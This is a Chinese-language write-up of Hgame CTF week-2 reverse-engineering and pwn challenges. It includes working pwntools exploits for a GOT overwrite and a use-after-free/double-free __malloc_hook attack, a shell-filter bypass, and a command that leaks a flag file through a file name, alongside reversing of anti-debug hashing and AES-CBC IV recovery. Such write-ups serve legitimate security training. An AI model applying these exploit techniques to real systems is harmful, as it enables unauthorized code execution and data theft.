记一次春节CTF实战练习(RE/PWN)
2020-02-07 10:30:00 Author: mp.weixin.qq.com(查看原文) 阅读量:245 收藏

这是Hgame_CTF第二周的题目,一共有四周。相对来说,比第一周难(HgameCTF(week1)-RE,PWN题解析)。这次的有一道逆向考点也挺有意思,得深入了解AES的CBC加密模式才能解题。还有一道pwn虽然能getshell,但是程序关闭了回显,并不能获取flag。队友提供了一种比较骚的思路才解开。

##pwn


###Another_Heaven

该题目存在一个后门

  *(_DWORD *)v5 = readi();  // 可以写入一个地址  read(0, (void *)*(signed int *)v5, 1uLL);

这两行代码意思是 可以自己输入一个地址,然后可以改变该地址里边的一个数值。另外没有发现其他的漏洞。

再看cspw函数

__int64 cpswd(){  int i; // [rsp+Ch] [rbp-14h]
puts("Input new password:"); read_n((__int64)buf, 48); printf("Processing.", 48LL); for ( i = 0; i < strlen(buf); ++i ) {if ( !strncpy((char *)(i + 0x602160LL), &buf[i], 1uLL) )// 覆盖到flag{ puts("System Error!"); exit(0);}putchar('.');usleep(10000u); } puts("Done!"); return 0LL;}

可以覆盖flag,那么strncpy第一个参数就是读取的flag,其实strncpy和puts函数地址只相差了一位,那么可以通过改变这一位来使得strncpy变成puts函数输出flag。

#!/usr/bin/python#coding:utf-8from pwn import *from time import *from LibcSearcher import *
context.log_level="debug"
REMOTE_LIBC = "./db/libc6_2.24-9ubuntu2.2_amd64.so"
io = remote('172.17.0.2',10001)#elf = ELF(EXEC_FILE)#libc = ELF(REMOTE_LIBC)
io.recv()raw_input()io.sendline(str(0x0602020))#修改strncpyio.send('\xE6')
io.recvuntil(':')io.sendline("E99p1ant")
io.recvuntil(":")io.sendline('a')
io.recvuntil('(y/n)')io.sendline('y')
io.recvuntil('?')io.sendline('Alice·Synthesis·Thirty')
io.recvuntil(":")io.sendline('a')
print io.recv()io.interactive()

###Roc826s_Note

题目没有edit函数,但是delete函数存在uaf漏洞,给了libc,可以先释放unsorted bin求出libc基地址,然后通过double free来修改malloc hook跳转到one_gadget。

#!/usr/bin/python#coding:utf-8from pwn import *from time import *from LibcSearcher import *
context.log_level="debug"
#EXEC_FILE = "./ROP_LEV"REMOTE_LIBC = "./libc-2.23.so"
#main_offset = 3951392io = remote('47.103.214.163',21002)#io = process('./Roc826')#elf = ELF(EXEC_FILE)libc = ELF(REMOTE_LIBC)
def add(size,content):  io.sendlineafter(':','1')  io.sendlineafter('?',str(size))  io.sendlineafter(':',content)
def show(idx):  io.sendlineafter(':','3')  io.sendlineafter('?',str(idx))
def delete(idx): io.sendlineafter(':','2') io.sendlineafter('?',str(idx))
add(0x89,'a')#0add(0x10,'b')#1
delete(0)
show(0)io.recvuntil('content:')unsorted_bin = u64(io.recvn(6).ljust(8,'\x00')) - 88print hex(unsorted_bin)libc_addr = unsorted_bin - 3951392
print hex(libc_addr)
__malloc_hook = libc_addr + libc.sym['__malloc_hook']
add(0x68,'c')#2add(0x68,'d')#3add(0x68,'e')#4
delete(2)delete(3)delete(2)
add(0x68,p64(__malloc_hook-35)*2)#5add(0x68,'f')#6
add(0x68,'g')add(0x68,19*'\x00'+p64(libc_addr+0xf1147))
io.sendlineafter(':','1')io.sendlineafter('?',str(0x68))
io.interactive()

###findyourself

题目考察过滤,有两个check函数,如果通过check函数就会执行system

signed __int64 __fastcall check1(const char *a1){  signed __int64 result; // rax  int i; // [rsp+1Ch] [rbp-14h]
for ( i = 0; i < strlen(a1); ++i ) {if ( (a1[i] <= 96 || a1[i] > 122) && (a1[i] <= 64 || a1[i] > 90) && a1[i] != 47 && a1[i] != 32 && a1[i] != 45 ) return 0xFFFFFFFFLL; } if ( strstr(a1, "sh") || strstr(a1, "cat") || strstr(a1, "flag") || strstr(a1, "pwd") || strstr(a1, "export") )result = 0xFFFFFFFFLL; elseresult = 0LL; return result;}
signed __int64 __fastcall check2(const char *a1){ signed __int64 result; // rax
if ( strchr(a1, 42)|| strstr(a1, "sh")|| strstr(a1, "cat")|| strstr(a1, "..")|| strchr(a1, 38)|| strchr(a1, 124)|| strchr(a1, 62)|| strchr(a1, 60) ) {result = 0xFFFFFFFFLL; } else {result = 0LL; } return result;}

原本是绕过了第一个check,想通过第二个check得到终端。exp如下

#!/usr/bin/python#coding:utf-8from pwn import *from time import *from LibcSearcher import *
context.log_level="debug"
#EXEC_FILE = "./ROP_LEV"REMOTE_LIBC = "./db/libc6_2.24-9ubuntu2.2_amd64.so"
io = remote('47.103.214.163',21000)#elf = ELF(EXEC_FILE)#libc = ELF(REMOTE_LIBC)
io.recvuntil('yourself')io.sendline('ls -l /proc/self/cwd')
sleep(0.1)
io.recvuntil('-> ')chdir = io.recvn(15)io.recv()io.sendline(chdir)sleep(0.1)raw_input()io.sendline('ltotal 4004')
io.interactive()

但是该题目在执行第二个system之前close(1),所以没有回显。后来队内的师傅想到了把 flag 里面的内容当成新建文件的名字然后就能"ls -l"读出来。getshell之后虽然没有回显,但是输入命令可以执行。先执行

cat /flag>/tmp/`cat /flag`

使用flag当作文件名创建一个文件。然后ls -l /tmp输出flag

##RE


###unpack

题目加有类似upx的壳,或许用esp定律可以脱,但是是elf程序,最后凭经验追到OEP。

追到下边代码的时候就能感觉到已经进入OEP了    

LOAD:0000000000400890 loc_400890:LOAD:0000000000400890 xor ebp, ebpLOAD:0000000000400892 mov r9, rdxLOAD:0000000000400895 pop rsiLOAD:0000000000400896 mov rdx, rspLOAD:0000000000400899 and rsp, 0FFFFFFFFFFFFFFF0hLOAD:000000000040089D push raxLOAD:000000000040089E push rspLOAD:000000000040089F mov r8, 4017A0hLOAD:00000000004008A6 mov rcx, 401710hLOAD:00000000004008AD mov rdi, offset sub_4009AELOAD:00000000004008B4 call loc_401250LOAD:00000000004008B9 hlt

很容易就能看到flag处理函数    

__int64 sub_4009AE(){  __int64 result; // rax  signed int v1; // [rsp+8h] [rbp-48h]  signed int i; // [rsp+Ch] [rbp-44h]  char v3[56]; // [rsp+10h] [rbp-40h]  unsigned __int64 v4; // [rsp+48h] [rbp-8h]
v4 = __readfsqword(0x28u); sub_40F570((__int64)&unk_4A13A8, v3); v1 = 0; for ( i = 0; i <= 41; ++i ) {if ( i + v3[i] != (unsigned __int8)unk_6CA0A0[i] ) v1 = 1; } if ( v1 == 1 )sub_40FE40(&unk_4A13AD, v3); elsesub_40FE40(&unk_4A13C0, v3); result = 0LL; if ( __readfsqword(0x28u) != v4 )sub_443040(); return result;}

exp

q = "6868637069805B7578496D76757B756E4184716544824A858C827D7A824D907E92549888969857958FA6"
flag = []
for i in range(0,len(q),2): flag.append(int(q[i:i+2],16))
flags = ""
for i in range(len(flag)): flags+=chr(flag[i]-i)print flags

###bbbbbb

该题目挺有意思的,首先输入flag。

  do  {LOBYTE(v64) = '_';v66 = sub_7FF6A2974B70(&v96, v64, 0i64);sub_7FF6A2974D90(&v96, &v97, 0i64, v66);sub_7FF6A2974AE0(&v96, 0i64, v66 + 1);v67 = (const char *)sub_7FF6A2974A10(&v97);*((_DWORD *)&v90 + v65) = atoi(v67);sub_7FF6A2974150(&v97);++v65;  }  while ( v65 < 4 );

上边代码的意思是按下划线切割flag,分割成四个数字。也就是说,输入flag格式为aaa bbb ccc ddd

然后经过

v68 = GetCurrentProcess();  v69 = GetModuleHandleW(0i64);  *(_OWORD *)modinfo = 0ui64;  *(_QWORD *)&modinfo[16] = 0i64;  K32GetModuleInformation(v68, v69, (LPMODULEINFO)modinfo, 0x18u);  v92 = 0ui64;  // 并没有覆盖到  v93 = 0ui64;  v94 = 0;  sub_7FF6A2971010(&sha_init);  v70 = (char *)(*(_QWORD *)modinfo + 0x1000i64);  if ( *(_QWORD *)modinfo + 0x1000i64 < (unsigned __int64)(*(_QWORD *)modinfo + 20480i64) )  {do{  sub_7FF6A2971090((__int64)&sha_init, v70, 0x1000ui64);  memset(&Dst, 0, 1232ui64);  v102 = 0x100010;  v71 = GetCurrentThread();  GetThreadContext(v71, (LPCONTEXT)&Dst);  sub_7FF6A2971090((__int64)&sha_init, &v103, 0x20ui64);  v70 += 0x1000;}while ( (unsigned __int64)v70 < *(_QWORD *)modinfo + 0x5000i64 );  }  sub_7FF6A29711C0(&v92, &sha_init);  v72 = _mm_xor_si128(_mm_loadu_si128((const __m128i *)&v92), _mm_loadu_si128((const __m128i *)&v93));  _mm_storeu_si128((__m128i *)&v92, v72);

先看sub_7FF6A2971010函数,里边初始化赋值,明显是sha类的哈希函数。

signed __int64 __fastcall sub_7FF6A2971010(__int64 a1){  signed __int64 result; // rax
*(_QWORD *)(a1 + 32) = 0i64; *(_QWORD *)(a1 + 40) = 0i64; *(_QWORD *)(a1 + 48) = 0i64; *(_QWORD *)(a1 + 56) = 0i64; *(_QWORD *)(a1 + 64) = 0i64; *(_QWORD *)(a1 + 72) = 0i64; *(_QWORD *)(a1 + 80) = 0i64; *(_QWORD *)(a1 + 88) = 0i64; *(_QWORD *)(a1 + 96) = 0i64; *(_DWORD *)(a1 + 104) = 0; result = 1i64; *(_DWORD *)a1 = 1779033703; *(_DWORD *)(a1 + 4) = -1150833019; *(_DWORD *)(a1 + 8) = 1013904242; *(_DWORD *)(a1 + 12) = -1521486534; *(_DWORD *)(a1 + 16) = 1359893119; *(_DWORD *)(a1 + 20) = -1694144372; *(_DWORD *)(a1 + 24) = 528734635; *(_DWORD *)(a1 + 28) = 1541459225; *(_DWORD *)(a1 + 108) = 32; return result;}

然后通过K32GetModuleInformation函数获取到模块信息进行加密,也就是获取地址为0x7FF6A2971000-0x7FF6A2975000之间的数据进行加密,每次获取0x1000个字节,这里边刚好包含了主要函数。这个主要用于反调试,防止别人修改代码和下普通断点,其实尝试着在这之间下不同断点会发现每次得到的哈希值都不一样。然后通过GetThreadContext函数获取线程上下文,得到的数据进行加密,印象中这个函数可以用于防止下硬件断点。在这种情况下,我们可以在exit函数下断点,因为exit函数位于加密地址之外,不会影响正确的哈希值,主要捕捉到里边生成的正确的哈希值就行。

然后通过CE来扫描数据,调试发现,正确的哈希值位于我们输入的flag下一行。比如我们输入

123_456_789_111

那我们可以搜索 7B 00 00 00 C8 01 00 00 15 03 00 00 6F 00 00 00 通过CE搜索可以得到哈希值

那么可以得到0x932877ad 0x4da107ea 0xc767e46b 0x5a857214,还要注意程序使用atoi转换的数字,0x932877ad和0xc767e46b输入之后会变成负数,这个得注意一下。最后输入    

1302398954_-1826064467_1518694932_-949492629

得到flag:

 hgame{1302398954_2468902829_1518694932_3345474667}

###babyPy

题目直接给出pyc的opcode

In [1]: from secret import flag, encrypt
In [2]: encrypt(flag)Out[2]: '7d037d045717722d62114e6a5b044f2c184c3f44214c2d4a22'
In [3]: import dis
In [4]: dis.dis(encrypt) 4 0 LOAD_FAST0 (OOo) 2 LOAD_CONST 0 (None) 4 LOAD_CONST 0 (None) 6 LOAD_CONST 1 (-1) 8 BUILD_SLICE 3 10 BINARY_SUBSCR 12 STORE_FAST 1 (O0O)
5 14 LOAD_GLOBAL 0 (list) 16 LOAD_FAST1 (O0O) 18 CALL_FUNCTION1 20 STORE_FAST 2 (O0o)
6 22 SETUP_LOOP 50 (to 74) 24 LOAD_GLOBAL 1 (range) 26 LOAD_CONST 2 (1) 28 LOAD_GLOBAL 2 (len) 30 LOAD_FAST2 (O0o) 32 CALL_FUNCTION1 34 CALL_FUNCTION2 36 GET_ITER>> 38 FOR_ITER32 (to 72) 40 STORE_FAST 3 (O0)
7 42 LOAD_FAST2 (O0o) 44 LOAD_FAST3 (O0) 46 LOAD_CONST 2 (1) 48 BINARY_SUBTRACT 50 BINARY_SUBSCR 52 LOAD_FAST2 (O0o) 54 LOAD_FAST3 (O0) 56 BINARY_SUBSCR 58 BINARY_XOR 60 STORE_FAST 4 (Oo)
8 62 LOAD_FAST4 (Oo) 64 LOAD_FAST2 (O0o) 66 LOAD_FAST3 (O0) 68 STORE_SUBSCR 70 JUMP_ABSOLUTE 38>> 72 POP_BLOCK
9 >> 74 LOAD_GLOBAL 3 (bytes) 76 LOAD_FAST2 (O0o) 78 CALL_FUNCTION1 80 STORE_FAST 5 (O)
10 82 LOAD_FAST5 (O) 84 LOAD_METHOD 4 (hex) 86 CALL_METHOD 0 88 RETURN_VALUE
In [5]: exit()

需要注意

BINARY_SUBTRACT 为相减,BINARY_SUBSCR 取值

可以还原

flag = "sfesefsfhthfyhjjus"
O0o = list(flag)
out_flag = ""
for i in range(1,len(O0o)):
O0 = i
Oo = ord(O0o[O0-1])^ord(O0o[O0])
O0o [O0] = Oo

写出exp

q = "7d037d045717722d62114e6a5b044f2c184c3f44214c2d4a22"flag = []for i in range(0,len(q),2):  flag.append(int(q[i:i+2],16))print flagflags = ""
flag = flag[::-1]for i in range(len(flag)-1): flag[i] = flag[i+1]^flag[i] flags += chr(flag[i])flags += chr(0x7d)print flags

###classic_CrackMe

.net程序

string text = this.textBox1.Text;      if (text.Length != 46 || text.IndexOf("hgame{") != 0 || text.IndexOf("}") != 45)      {        MessageBox.Show("Illegal format");        return;      }      string base64iv = text.Substring(6, 24);      string str = text.Substring(30, 15);      try      {        Aes aes3 = new Aes("SGc0bTNfMm8yMF9XZWVLMg==", base64iv);        Aes aes2 = new Aes("SGc0bTNfMm8yMF9XZWVLMg==", "MFB1T2g5SWxYMDU0SWN0cw==");        string text2 = aes3.DecryptFromBase64String("mjdRqH4d1O8nbUYJk+wVu3AeE7ZtE9rtT/8BA8J897I==");        if (text2.Equals("Same_ciphertext_"))        {          byte[] array = new byte[16];          Array.Copy(aes2.EncryptToByte(text2 + str), 16, array, 0, 16);          if (Convert.ToBase64String(array).Equals("dJntSWSPWbWocAq4yjBP5Q=="))          {            MessageBox.Show("注册成功!");            this.Text = "已激活,欢迎使用!";            this.status = 1;          }          else          {            MessageBox.Show("注册失败!\nhint: " + aes2.DecryptFromBase64String("mjdRqH4d1O8nbUYJk+wVu3AeE7ZtE9rtT/8BA8J897I="));          }        }        else        {          MessageBox.Show("注册失败!\nhint: " + aes2.DecryptFromBase64String("mjdRqH4d1O8nbUYJk+wVu3AeE7ZtE9rtT/8BA8J897I="));        }      }      catch      {        MessageBox.Show("注册失败!");      }    }

输入的flag分成两部分,前部分当成iv。用已知的iv('MFB1T2g5SWxYMDU0SWN0cw==')去解密的话会得到Learn principles,不符合要求,显然这是要学习原理,求出iv。

明文,密文,密钥,我们都知道,不同的iv得到的不同明文我们也知道。通过原理可知 IV 和 DecChiperText 和 plainText 是 xor 关系。

解密时:用 key 去解密 chiperText 再和 IV 异或就能得到 plainText

plainText = ( Decrypt(chiperText, key) ) ^ IV

上面的公式 分成两步:

1.DecChiperText = Decrypt(chiperText, key)   //使用 key 去解密 chiperText

2.plainText = tmp ^ IV  //这样的话, 就算 iv 是错的 也不会影响到 Decrypt(chiperText, key)

已知:

key = "Hg4m3_2o20_WeeK2"plainText = "Same_ciphertext_"chiperText = "\x9a7Q\xa8~\x1d\xd4\xef'mF\t\x93\xec\x15\xbbp\x1e\x13\xb6m\x13\xda\xedO\xff\x01\x03\xc2|\xf7\xb2"

再构造一个 假 IV 去解密,变成:

fakeIV = "aaaaaaaaaaaaaaaa"key = "Hg4m3_2o20_WeeK2"plainText = "Same_ciphertext_"chiperText = "\x9a7Q\xa8~\x1d\xd4\xef'mF\t\x93\xec\x15\xbbp\x1e\x13\xb6m\x13\xda\xedO\xff\x01\x03\xc2|\xf7\xb2"
fakePlainText = ( Decrypt(chiperText, key) ) ^ fakeIVplainText = fakePlainText ^ fakeIV

因为得到的结果 fakePlainText 是异或过 fakeIV 的,我们只要 再次异或 fakeIV 就能得到公式上面第一步得到的结果 DecChiperText。DecChiperText 和 IV 和 plainText 是 xor 关系现在已知 DecChiperText 和 plainText 就能求出 真正的 IV    

IV = DecChiperText ^  plainText

可以写python代码    

from Crypto.Cipher import AESimport base64
key = base64.b64decode("SGc0bTNfMm8yMF9XZWVLMg==")fakeIV = "aaaaaaaaaaaaaaaa"plainText = "Same_ciphertext_"chiperText = base64.b64decode("mjdRqH4d1O8nbUYJk+wVu3AeE7ZtE9rtT/8BA8J897I=")mode = AES.MODE_CBCaesCipher = AES.new(key, mode, fakeIV)
fakePlainText = aesCipher.decrypt(chiperText)
#print fakePlainText
IV = ''for i in range(16): IV += chr(ord(fakePlainText[i]) ^ ord(fakeIV[i]) ^ ord(plainText[i]))print "IV : " + IV
#IV : /TyXYzPnY;$)\we_

求得IV为/TyXYzPnY;$)\we_ 经过base64加密后为L1R5WFl6UG5ZOyQpXHdlXw==

然后使用text2和后半部分flag拼接加密,加密后的密文最后24位必须为"dJntSWSPWbWocAq4yjBP5Q=="。text2位16位,刚好填充满,通过原理可知,密文前面16位不变。那么可以先让text2单独加密,得到密文的16进制,然后同"dJntSWSPWbWocAq4yjBP5Q=="的16进制形式拼接在一起,经过base64加密,得到密文"xlKKQA5RPpyyA1YBjDeL5HSZ7Ulkj1m1qHAKuMowT+U"。直接解密得到后半flag。

(完)


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春节CTF实战之HgameCTF(week1)-RE,PWN题解析

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